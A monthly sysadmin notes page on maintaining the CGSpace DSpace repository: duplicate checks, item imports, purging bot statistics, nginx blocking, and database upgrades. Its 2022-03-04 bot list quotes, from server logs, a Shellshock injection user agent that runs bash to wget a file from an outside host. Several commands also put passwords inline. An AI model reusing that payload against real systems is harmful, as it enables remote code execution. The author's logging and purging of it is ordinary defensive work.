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<meta property="og:title" content="March, 2022" />
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<meta property="og:description" content="2022-03-01
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Send Gaia the last batch of potential duplicates for items 701 to 980:
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$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
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$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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" />
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<meta property="og:type" content="article" />
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<meta property="og:url" content="https://alanorth.github.io/cgspace-notes/2022-03/" />
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<meta property="article:published_time" content="2022-03-01T16:46:54+03:00" />
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<meta property="article:modified_time" content="2022-06-09T09:41:49+03:00" />
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<meta name="twitter:title" content="March, 2022"/>
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<meta name="twitter:description" content="2022-03-01
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|
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Send Gaia the last batch of potential duplicates for items 701 to 980:
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$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
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$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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"/>
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"headline": "March, 2022",
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"url": "https://alanorth.github.io/cgspace-notes/2022-03/",
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"wordCount": "1836",
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"datePublished": "2022-03-01T16:46:54+03:00",
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"dateModified": "2022-06-09T09:41:49+03:00",
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"name": "Alan Orth"
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<link rel="canonical" href="https://alanorth.github.io/cgspace-notes/2022-03/">
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<title>March, 2022 | CGSpace Notes</title>
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<script defer src="https://alanorth.github.io/cgspace-notes/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js" integrity="sha256-9QcsVaByGFcYTbk6UFYdfcE5dbTeLhnbf4HrXz+lcnA=" crossorigin="anonymous"></script>
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<a class="nav-link " href="https://alanorth.github.io/cgspace-notes/">Home</a>
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<header class="blog-header">
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<div class="container">
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<h1 class="blog-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/" rel="home">CGSpace Notes</a></h1>
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<p class="lead blog-description" dir="auto">Documenting day-to-day work on the <a href="https://cgspace.cgiar.org">CGSpace</a> repository.</p>
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</div>
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</header>
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<div class="container">
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<div class="row">
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<div class="col-sm-8 blog-main">
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<article class="blog-post">
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<header>
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<h2 class="blog-post-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/2022-03/">March, 2022</a></h2>
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<p class="blog-post-meta">
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<time datetime="2022-03-01T16:46:54+03:00">Tue Mar 01, 2022</time>
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in
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<span class="fas fa-folder" aria-hidden="true"></span> <a href="/categories/notes/" rel="category tag">Notes</a>
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</p>
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</header>
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<h2 id="2022-03-01">2022-03-01</h2>
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<ul>
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<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">'fuuu'</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv
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</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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</span></span></code></pre></div><h2 id="2022-03-04">2022-03-04</h2>
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<ul>
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<li>Looking over the CGSpace Solr statistics from 2022-02
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<ul>
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<li>I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!</li>
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<li>Here are some of the more prevalent or weird ones:
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<ul>
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<li>axios/0.21.1</li>
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<li>Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)</li>
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<li>Nutraspace/Nutch-1.2 (<a href="https://www.nutraspace.com">www.nutraspace.com</a>)</li>
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<li>Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; <a href="mailto:webmaster@moreover.com">webmaster@moreover.com</a>)</li>
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<li>Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com</li>
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<li>Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)</li>
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<li>Crowsnest/0.5 (+http://www.crowsnest.tv/)</li>
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<li>Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com</li>
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<li>metha/0.2.27</li>
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<li>ZaloPC-win32-24v454</li>
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<li>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x</li>
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<li>ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)</li>
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<li>FullStoryBot/1.0 (+https://www.fullstory.com)</li>
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<li>Link Validity Check From: <a href="http://www.usgs.gov">http://www.usgs.gov</a></li>
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<li>OSPScraper (+https://www.opensyllabusproject.org)</li>
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<li>() { :;}; /bin/bash -c "wget -O /tmp/bbb <a href="https://www.redel.net.br/1.php?id=3137382e37392e3138372e313832">www.redel.net.br/1.php?id=3137382e37392e3138372e313832</a>"</li>
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</ul>
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</li>
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<li>I submitted <a href="https://github.com/atmire/COUNTER-Robots/pull/52">a pull request to COUNTER-Robots</a> with some of these</li>
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</ul>
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</li>
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<li>I purged a bunch of hits from the stats using the <code>check-spider-hits.sh</code> script:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
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</span></span><span style="display:flex;"><span>Purging 6 hits from scalaj-http in statistics
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</span></span><span style="display:flex;"><span>Purging 5 hits from lua-resty-http in statistics
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</span></span><span style="display:flex;"><span>Purging 9 hits from AHC in statistics
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</span></span><span style="display:flex;"><span>Purging 7 hits from acebookexternalhit in statistics
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</span></span><span style="display:flex;"><span>Purging 1011 hits from axios\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 2216 hits from Faveeo\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 1164 hits from Moreover\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 740 hits from Exploratodo\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 585 hits from GroupHigh\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 438 hits from Crowsnest\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 1326 hits from nbertaupete95 in statistics
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||
</span></span><span style="display:flex;"><span>Purging 182 hits from metha\/[0-9] in statistics
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||
</span></span><span style="display:flex;"><span>Purging 68 hits from ZaloPC-win32-24v454 in statistics
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||
</span></span><span style="display:flex;"><span>Purging 1644 hits from Firefox\/x\.x in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 678 hits from ZoteroTranslationServer in statistics
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||
</span></span><span style="display:flex;"><span>Purging 27 hits from FullStoryBot in statistics
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</span></span><span style="display:flex;"><span>Purging 26 hits from Link Validity Check in statistics
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</span></span><span style="display:flex;"><span>Purging 26 hits from OSPScraper in statistics
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</span></span><span style="display:flex;"><span>Purging 1 hits from 3137382e37392e3138372e313832 in statistics
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</span></span><span style="display:flex;"><span>Purging 2755 hits from Nutch-[0-9] in statistics
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</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
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</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 12914
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</span></span></code></pre></div><ul>
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<li>I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project</li>
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</ul>
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<h2 id="2022-03-05">2022-03-05</h2>
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<ul>
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<li>Start AReS harvest</li>
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</ul>
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<h2 id="2022-03-10">2022-03-10</h2>
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<ul>
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<li>A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet)
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<ul>
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<li>I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:</li>
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</ul>
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</li>
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</ul>
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<pre tabindex="0"><code>or(
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isNotNull(value.match('707')),
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isNotNull(value.match('709')),
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isNotNull(value.match('710')),
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isNotNull(value.match('711')),
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isNotNull(value.match('713')),
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isNotNull(value.match('717')),
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isNotNull(value.match('718')),
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...
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isNotNull(value.match('821'))
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)
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</code></pre><ul>
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<li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-10-tac-batch4-701to980.map
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</span></span></code></pre></div><h2 id="2022-03-12">2022-03-12</h2>
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<ul>
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<li>Update all containers and rebuild OpenRXV on linode20:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker images | grep -v ^REPO | sed <span style="color:#e6db74">'s/ \+/:/g'</span> | cut -d: -f1,2 | xargs -L1 docker pull
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</span></span><span style="display:flex;"><span>$ docker-compose build
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</span></span></code></pre></div><ul>
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<li>Then run all system updates and reboot</li>
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<li>Start a full harvest on AReS</li>
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</ul>
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<h2 id="2022-03-16">2022-03-16</h2>
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<ul>
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<li>Meeting with KM/KS group to start talking about the way forward for repositories and web publishing
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<ul>
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<li>We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing</li>
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</ul>
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</li>
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</ul>
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<h2 id="2022-03-20">2022-03-20</h2>
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<ul>
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<li>Start a full harvest on AReS</li>
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</ul>
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<h2 id="2022-03-21">2022-03-21</h2>
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<ul>
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<li>Review a few submissions for Open Repositories 2022</li>
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<li>Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed</li>
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</ul>
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<h2 id="2022-03-22">2022-03-22</h2>
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<ul>
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<li>I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there
|
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<ul>
|
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<li>I had been meaning to update my local database…</li>
|
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</ul>
|
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</li>
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<li>I re-imported the CGIAR CAS documents to <a href="https://dspacetest.cgiar.org/handle/10568/118432">DSpace Test</a> and generated the PDF thumbnails:</li>
|
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</ul>
|
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-22-tac-700.map
|
||
</span></span><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace filter-media -p <span style="color:#e6db74">"ImageMagick PDF Thumbnail"</span> -i 10568/118432
|
||
</span></span></code></pre></div><ul>
|
||
<li>On my local environment I decided to run the <code>check-duplicates.py</code> script one more time with all 700 items:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
|
||
</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p <span style="color:#e6db74">'dom@in34sniper'</span> -o /tmp/2022-03-22-tac-duplicates.csv
|
||
</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
|
||
</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
|
||
</span></span></code></pre></div><ul>
|
||
<li>I sent the resulting 76 items to Gaia to check</li>
|
||
<li>UptimeRobot said that CGSpace was down
|
||
<ul>
|
||
<li>I looked and found many locks belonging to the REST API application:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ psql -c <span style="color:#e6db74">'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;'</span> | grep -o -E <span style="color:#e6db74">'(dspaceWeb|dspaceApi)'</span> | sort | uniq -c | sort -n
|
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</span></span><span style="display:flex;"><span> 301 dspaceWeb
|
||
</span></span><span style="display:flex;"><span> 2390 dspaceApi
|
||
</span></span></code></pre></div><ul>
|
||
<li>Looking at nginx’s logs, I found the top addresses making requests today:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># awk <span style="color:#e6db74">'{print $1}'</span> /var/log/nginx/rest.log | sort | uniq -c | sort -h
|
||
</span></span><span style="display:flex;"><span> 1977 45.5.184.2
|
||
</span></span><span style="display:flex;"><span> 3167 70.32.90.172
|
||
</span></span><span style="display:flex;"><span> 4754 54.195.118.125
|
||
</span></span><span style="display:flex;"><span> 5411 205.186.128.185
|
||
</span></span><span style="display:flex;"><span> 6826 137.184.159.211
|
||
</span></span></code></pre></div><ul>
|
||
<li>137.184.159.211 is on DigitalOcean using this user agent: <code>GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28</code>
|
||
<ul>
|
||
<li>I blocked this IP in nginx and the load went down immediately</li>
|
||
</ul>
|
||
</li>
|
||
<li>205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot</li>
|
||
<li>54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)</li>
|
||
<li>70.32.90.172 is on Media Temple and has no user agent</li>
|
||
<li>What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
|
||
<ul>
|
||
<li>I verified it works as expected with an empty user agent:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -H User-Agent:<span style="color:#e6db74">''</span> <span style="color:#e6db74">'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all'</span>
|
||
</span></span><span style="display:flex;"><span>Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
|
||
</span></span></code></pre></div><ul>
|
||
<li>I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
|
||
</span></span><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
|
||
</span></span></code></pre></div><ul>
|
||
<li>I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too</li>
|
||
<li>Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that</li>
|
||
</ul>
|
||
<h2 id="2022-03-24">2022-03-24</h2>
|
||
<ul>
|
||
<li>Maria from ABC asked about a reporting discrepancy on AReS
|
||
<ul>
|
||
<li>I think it’s because the last harvest was over the weekend, and she was expecting to see items submitted this week</li>
|
||
</ul>
|
||
</li>
|
||
<li>Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted
|
||
<ul>
|
||
<li>She asked if we can download them and upload them directly to CGSpace</li>
|
||
</ul>
|
||
</li>
|
||
<li>I re-created my local Artifactory container</li>
|
||
<li>I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately
|
||
<ul>
|
||
<li>One thing I realized is that OAI is no longer a standalone web application, it is part of the <code>server</code> app now: http://localhost:8080/server/oai/request?verb=Identify</li>
|
||
</ul>
|
||
</li>
|
||
<li>Deploy PostgreSQL 12 on CGSpace (linode18) but don’t switch over yet, because I see some users active
|
||
<ul>
|
||
<li>I did this on DSpace Test in 2022-02 so I just followed the same procedure</li>
|
||
<li>After that I ran all system updates and rebooted the server</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h2 id="2022-03-25">2022-03-25</h2>
|
||
<ul>
|
||
<li>Looking at the PostgreSQL database size on CGSpace after the update yesterday:</li>
|
||
</ul>
|
||
<p><img src="/cgspace-notes/2022/03/postgres_size_cgspace-day.png" alt="PostgreSQL database size day"></p>
|
||
<ul>
|
||
<li>The space saving in indexes of recent PostgreSQL releases is awesome!</li>
|
||
<li>Import a DSpace 6.x database dump from production into my local DSpace 7 database
|
||
<ul>
|
||
<li>I see I still the same errors <a href="/cgspace-notes/2021-04/">I saw in 2021-04</a> when testing DSpace 7.0 beta 5</li>
|
||
<li>I had to delete some old migrations, as well as all Atmire ones first:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace7= ☘ DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
|
||
</span></span><span style="display:flex;"><span>localhost/dspace7= ☘ DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%';
|
||
</span></span></code></pre></div><ul>
|
||
<li>Then I was able to migrate to DSpace 7 with <code>dspace database migrate ignored</code> as the <a href="https://wiki.lyrasis.org/display/DSDOC7x/Upgrading+DSpace">DSpace upgrade notes say</a>
|
||
<ul>
|
||
<li>I see that the <a href="https://github.com/DSpace/dspace-angular/issues/1357">flash of unstyled content bug</a> still exists on dspace-angluar… ouch!</li>
|
||
</ul>
|
||
</li>
|
||
<li>Start a harvest on AReS</li>
|
||
</ul>
|
||
<h2 id="2022-03-26">2022-03-26</h2>
|
||
<ul>
|
||
<li>Update dspace-statistics-api to Falcon 3.1.0 and <a href="https://github.com/ilri/dspace-statistics-api/releases/tag/v1.4.3">release v1.4.3</a></li>
|
||
</ul>
|
||
<h2 id="2022-03-28">2022-03-28</h2>
|
||
<ul>
|
||
<li>Create another test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p <span style="color:#e6db74">'fuuuuuuuu'</span>
|
||
</span></span></code></pre></div><ul>
|
||
<li>I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection
|
||
<ul>
|
||
<li>According to my notes from <a href="/cgspace-notes/2020-10/">2020-10</a> the account must be in the admin group in order to submit via the REST API</li>
|
||
</ul>
|
||
</li>
|
||
<li>Abenet and I noticed 1,735 items in CTA’s community that have the title “delete”
|
||
<ul>
|
||
<li>We asked Peter and he said we should delete them</li>
|
||
<li>I exported the CTA community metadata and used OpenRefine to filter all items with the “delete” title, then used the “expunge” bulkedit action to remove them</li>
|
||
</ul>
|
||
</li>
|
||
<li>I realized I forgot to clean up the old Let’s Encrypt certbot stuff after upgrading CGSpace (linode18) to Ubuntu 20.04 a few weeks ago
|
||
<ul>
|
||
<li>I also removed the pre-Ubuntu 20.04 Let’s Encrypt stuff from the Ansble infrastructure playbooks</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h2 id="2022-03-29">2022-03-29</h2>
|
||
<ul>
|
||
<li>Gaia sent me her notes on the final review of duplicates of all TAC/ICW documents
|
||
<ul>
|
||
<li>I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<pre tabindex="0"><code>or(
|
||
isNotNull(value.match('33')),
|
||
isNotNull(value.match('179')),
|
||
isNotNull(value.match('452')),
|
||
isNotNull(value.match('489')),
|
||
isNotNull(value.match('541')),
|
||
isNotNull(value.match('568')),
|
||
isNotNull(value.match('646')),
|
||
isNotNull(value.match('889'))
|
||
)
|
||
</code></pre><ul>
|
||
<li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported the 692 items on CGSpace, and generated the thumbnails:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ export JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Dfile.encoding=UTF-8 -Xmx1024m"</span>
|
||
</span></span><span style="display:flex;"><span>$ dspace import --add --eperson<span style="color:#f92672">=</span>umm@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-29-cgiar-tac.map
|
||
</span></span><span style="display:flex;"><span>$ chrt -b <span style="color:#ae81ff">0</span> dspace filter-media -p <span style="color:#e6db74">"ImageMagick PDF Thumbnail"</span> -i 10947/50
|
||
</span></span></code></pre></div><ul>
|
||
<li>After that I did some normalization on the <code>cg.subject.system</code> metadata and extracted a few dozen countries to the country field</li>
|
||
<li>Start a harvest on AReS</li>
|
||
</ul>
|
||
<h2 id="2022-03-30">2022-03-30</h2>
|
||
<ul>
|
||
<li>Yesterday Rafael from CIAT asked me to re-create his approver account on DSpace Test as well</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ dspace user -a -m tip-approve@cgiar.org -g Rafael -s Rodriguez -p <span style="color:#e6db74">'fuuuu'</span>
|
||
</span></span></code></pre></div><ul>
|
||
<li>I started looking into the request regarding the CIAT Library PDFs
|
||
<ul>
|
||
<li>There are over 4,000 links to PDFs hosted on that server in CGSpace metadata</li>
|
||
<li>The links seem to be down though! I emailed Paola to ask</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h2 id="2022-03-31">2022-03-31</h2>
|
||
<ul>
|
||
<li>Switch DSpace Test (linode26) back to CMS GC so I can do some monitoring and evaluation of GC before switching to G1GC</li>
|
||
<li>I will do the following for CMS and G1GC on DSpace Test:
|
||
<ul>
|
||
<li>Wait for startup</li>
|
||
<li>Reload home page</li>
|
||
<li>Log in</li>
|
||
<li>Do a search for “livestock”</li>
|
||
<li>Click AGROVOC facet for livestock</li>
|
||
<li>dspace index-discovery -b</li>
|
||
<li>dspace-statistics-api index</li>
|
||
</ul>
|
||
</li>
|
||
<li>With CMS the Discovery Index took:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>real 379m19.245s
|
||
</span></span><span style="display:flex;"><span>user 267m17.704s
|
||
</span></span><span style="display:flex;"><span>sys 4m2.937s
|
||
</span></span></code></pre></div><ul>
|
||
<li>Leroy from CIAT said that the CIAT Library server has security issues so was limited to internal traffic
|
||
<ul>
|
||
<li>I extracted a list of URLs from CGSpace to send him:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE metadata_field_id=219 AND text_value ~ 'https?://ciat-library') to /tmp/2022-03-31-ciat-library-urls.csv WITH CSV HEADER;
|
||
</span></span><span style="display:flex;"><span>COPY 4552
|
||
</span></span></code></pre></div><ul>
|
||
<li>I did some checks and cleanups in OpenRefine because there are some values with “#page” etc
|
||
<ul>
|
||
<li>Once I sorted them there were only ~2,700, which means there are going to be almost two thousand items with duplicate PDFs</li>
|
||
<li>I suggested that we might want to handle those cases specially and extract the chapters or whatever page range since they are probably books</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<!-- raw HTML omitted -->
|
||
|
||
|
||
|
||
|
||
|
||
</article>
|
||
|
||
|
||
|
||
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|
||
|
||
<aside class="col-sm-3 ml-auto blog-sidebar">
|
||
|
||
|
||
|
||
<section class="sidebar-module">
|
||
<h4>Recent Posts</h4>
|
||
<ol class="list-unstyled">
|
||
|
||
|
||
<li><a href="/cgspace-notes/2023-09/">September, 2023</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2023-08/">August, 2023</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2023-07/">July, 2023</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2023-06/">June, 2023</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2023-05/">May, 2023</a></li>
|
||
|
||
</ol>
|
||
</section>
|
||
|
||
|
||
|
||
|
||
<section class="sidebar-module">
|
||
<h4>Links</h4>
|
||
<ol class="list-unstyled">
|
||
|
||
<li><a href="https://cgspace.cgiar.org">CGSpace</a></li>
|
||
|
||
<li><a href="https://dspacetest.cgiar.org">DSpace Test</a></li>
|
||
|
||
<li><a href="https://github.com/ilri/DSpace">CGSpace @ GitHub</a></li>
|
||
|
||
</ol>
|
||
</section>
|
||
|
||
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|
||
|
||
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|
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